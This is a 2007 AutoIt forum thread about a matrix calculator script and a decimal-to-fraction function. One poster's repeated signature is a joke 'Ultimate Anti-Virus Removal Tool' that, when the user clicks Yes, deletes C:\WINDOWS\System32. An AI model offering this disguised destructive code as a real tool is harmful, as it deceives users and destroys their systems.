Firefoxy Posted December 19, 2007 Share Posted December 19, 2007 Hi! This is my first script I'm putting up so here it is. It multiplies, finds the determinant, and the inverse of 2x2 and 3x3 matrices (except for the inverse of a 3x3...not sure how to do that yet). Very simple. Not much to it.2x2_and_3x3_Matrix_Calculator.exeTest.au3 ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Achilles Posted December 19, 2007 Share Posted December 19, 2007 Nice work on this script! I actually have to do a program on matrixs for my ap computer science class.. I'll be using lots of arrays though... I would suggest starting off with all the input boxes clear. Or at least make is so that when you press clear it restores to what it is at the very beginning... That would seem more professional in my opinion... My Programs[list][*]Knight Media Player[*]Multiple Desktops[*]Daily Comics[*]Journal[/list] Link to comment Share on other sites More sharing options...
Nahuel Posted December 19, 2007 Share Posted December 19, 2007 I made one too! and it has no limits. Adding ans substracting worked great, but I had some troubles with the product. It worked fine with certain depth, but not for all of them Great work on yours, very inspiring I might get back to working with mine some day.. if I need it Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 I made one too! and it has no limits.I mean limits as in it can't really do much. It can't multiply a 2x2 by a 2x3. Also, a quick question. Is there a way to make it turn decimal answers into fractions? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
dexxa Posted December 19, 2007 Share Posted December 19, 2007 damn just took the final 2 days ago. would have been very useful. nice job though Link to comment Share on other sites More sharing options...
dexxa Posted December 19, 2007 Share Posted December 19, 2007 I mean limits as in it can't really do much. It can't multiply a 2x2 by a 2x3. Also, a quick question. Is there a way to make it turn decimal answers into fractions?i think fraction is something you have to implement yourself. like finding common denominator Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 i think fraction is something you have to implement yourself.*sigh* ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Nahuel Posted December 19, 2007 Share Posted December 19, 2007 It's not that hard. Look at this: http://www.webmath.com/dec2fract.htmlI might give it a try, it's interesting... but I don't promise anything. Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 It would be hard to write a script for that. You'd first have to find out how many decimal points are in there, then divide it by the number coordinating with that AFTER you take out the decimal (because you have to divide the original number without the decimal). Then you'd have to find the lowest number that could be divided into both and THEN you're done. Ex. .85 (2 decimal points so...) 85/100 (5 is the first number that will divide into both of them) LCD =5 Ex2. .384 (3 decimal points so...) 384/1000 (48/125 is the first number that will divide into both of them) LCD = 48/125 It would be hard to do...at least for me. xD ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Nahuel Posted December 19, 2007 Share Posted December 19, 2007 This is what I got so far:expandcollapse popup$Frac=_DecToFrac(7.154) ClipPut($Frac) MsgBox(0,"",$Frac) Func _DecToFrac($Decimal,$Part=False) $String=String($Decimal) $decPart=StringSplit($String,".") $Length=StringLen($decPart[2]) $zeros="" For $i=1 To $Length $zeros&="0" Next $partial=$decPart[1] & "+(" & $decPart[2] & "/1" & $zeros & ")" $Gcd=GreatestCommonDivisor("1" & $zeros,$decPart[2]) $Num=$decPart[2]/$Gcd $Den=Number("1" & $zeros) / $Gcd If $Gcd=0 Or $Part Then Return $decPart[1] & "+(" & $Num & "/" & $Den & ")" $Num=($Den*$decPart[1]) + $Num Return $Num & "/" & $Den EndFunc Func GreatestCommonDivisor($a, $B) $a=Number($a) $b=Number($B) while $b <> 0 if $a > $b Then $a = $a - $b else $b = $b - $a EndIf WEnd If $b=0 Then Return $a Else SetError(1) Return 0 EndIf EndFuncit's very messy and needs lots of working, but it works as expected for many small numbers.In the example given (7.154), the result will be an improper(?) fraction, since the numerator is greater than the denominator. (3577/500). So I added the $Part parameter. Setting it to 1 or True, will make it return like this: 7+(77/500)Try it out with as many decimal numbers as possible, and see if you can debug a bit and make it cleaner. Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 (edited) Any way you can make this also reduce the fraction? So it would be: 7 75/500? Also, I made a quick little input box based program. Sloppy 1 minute project. xD expandcollapse popup;;;;GCD; Func GreatestCommonDivisor($a, $b) $a=Number($a) $b=Number($b) while $b <> 0 if $a > $b Then $a = $a - $b else $b = $b - $a EndIf WEnd If $b=0 Then Return $a Else SetError(1) Return 0 EndIf EndFunc ;;;;/GCD; ;;;;LCD; Func _DecToFrac($Decimal,$Part=False) $String=String($Decimal) $decPart=StringSplit($String,".") $Length=StringLen($decPart[2]) $zeros="" For $i=1 To $Length $zeros&="0" Next $partial=$decPart[1] & "+(" & $decPart[2] & "/1" & $zeros & ")" $Gcd=GreatestCommonDivisor("1" & $zeros,$decPart[2]) $Num=$decPart[2]/$Gcd $Den=Number("1" & $zeros) / $Gcd If $Gcd=0 Or $Part Then Return $decPart[1] & "+(" & $Num & "/" & $Den & ")" $Num=($Den*$decPart[1]) + $Num Return $Num & "/" & $Den EndFunc ;;;;/LCD; $number = InputBox("Decimal to Fraction", "Put in you decimal") $answer = _DecToFrac($number) MsgBox(0, "Answer", "The decimal is now: " & $answer) Edited December 19, 2007 by Firefoxy ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Nahuel Posted December 19, 2007 Share Posted December 19, 2007 (edited) Well.. it already reduces the fraction. That's why I need the GCD. Have you tried setting the second parameter of _DecToFrac() to 1? look: $Frac=_DecToFrac(7.145) MsgBox(0,"",$Frac) $Frac=_DecToFrac(7.145,1) MsgBox(0,"",$Frac) Edited December 19, 2007 by Nahuel Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 Nuh uh. I'm not really sure how those work so I just leave them alone. However, I tried to see if putting a very long decimal in would mess it up and it sorta...did...ish.I put: .123456789876543212345678909876543212345676543245676543456765432345676543234567and got this:Not really something going wrong I guess MsgBox has a limit on how many numbers are on a single line? Nothing to do with your script. ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Nahuel Posted December 19, 2007 Share Posted December 19, 2007 HAHAH, smart! eh? How long did it take it? Well my script does have a limitation, I don't know how long though. If you really need numbers so big, cut it to only 9 decimal digits, but that makes it less accurate: Func _DecToFrac($Decimal,$Part=False) $NumeratorToStr=String($Decimal) $decPart=StringSplit($NumeratorToStr,".") $Length=StringLen($decPart[2]) If $Length > 9 Then $temp=StringLeft($decPart[2],9) $decPart[2]=$temp $Length=9 EndIf $zeros="" For $i=1 To $Length $zeros&="0" Next $Gcd=GreatestCommonDivisor("1" & $zeros,$decPart[2]) $Numerator=$decPart[2]/$Gcd $Denominator=Number("1" & $zeros) / $Gcd If $Gcd=0 Or $Part Then Return $decPart[1] & " " & $Numerator & "/" & $Denominator & "" $Numerator=($Denominator*$decPart[1]) + $Numerator Return $Numerator & "/" & $Denominator EndFunc Link to comment Share on other sites More sharing options...
Nahuel Posted December 19, 2007 Share Posted December 19, 2007 This is all I can do tonight: I made it all in one UDF and made it cut decimals longer than 9 characters expandcollapse popup$number = InputBox("Decimal to Fraction", "Put in you decimal") $answer = _DecToFrac($number) $answer1 = _DecToFrac($number,True) MsgBox(0,"","Fraction: " & $answer & @CR & @CR & "Or: " & $answer1) ;=============================== ;Convert from Decimal to Fraction ;Author: Nahuel ;=============================== Func _DecToFrac($Decimal,$Part=False) Local $Gcd $NumToStr=String($Decimal) $decPart=StringSplit($NumToStr,".") $Length=StringLen($decPart[2]) If $Length > 9 Then $temp=StringLeft($decPart[2],9) $decPart[2]=$temp $Length=9 EndIf $zeros="" For $i=1 To $Length $zeros&="0" Next ;Get greatest Common Divisor $a=Number("1" & $zeros) $b=Number($decPart[2]) while $b <> 0 if $a > $b Then $a = $a - $b else $b = $b - $a EndIf WEnd $Gcd=$a ;============================ $Numerator=$decPart[2]/$Gcd $Denominator=Number("1" & $zeros) / $Gcd If $Gcd=0 Or $Part Then Return $decPart[1] & " " & $Numerator & "/" & $Denominator & "" $Numerator=($Denominator*$decPart[1]) + $Numerator Return $Numerator & "/" & $Denominator EndFunc Good night. Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 It solved it instantly. So your script just cuts it off after 9 digits or does it round it off? ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Nahuel Posted December 19, 2007 Share Posted December 19, 2007 It just cuts it, but at the ninth digit! I don't see how rounding would make a big difference... it's just for displaying purposes.Don't know if you saw it: http://www.autoitscript.com/forum/index.ph...st&p=450486 Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 (edited) Well...I doubt that when using matrices you'll ever pass 9 digits. Thanks for all your help! I'll add this and one other thing in tomorrow afternoon. Edited December 19, 2007 by Firefoxy ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
AlmarM Posted December 19, 2007 Share Posted December 19, 2007 Nice made. Do u noticed since the Matrix Screensaver came, there came lots more Matrix things I like the Matrix AutoIT script Minesweeper A minesweeper game created in autoit, source available. _Mouse_UDF An UDF for registering functions to mouse events, made in pure autoit. 2D Hitbox Editor A 2D hitbox editor for quick creation of 2D sphere and rectangle hitboxes. Link to comment Share on other sites More sharing options...
Firefoxy Posted December 19, 2007 Author Share Posted December 19, 2007 This doesn't have anything to do with the movie...besides having the sme name. xD ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now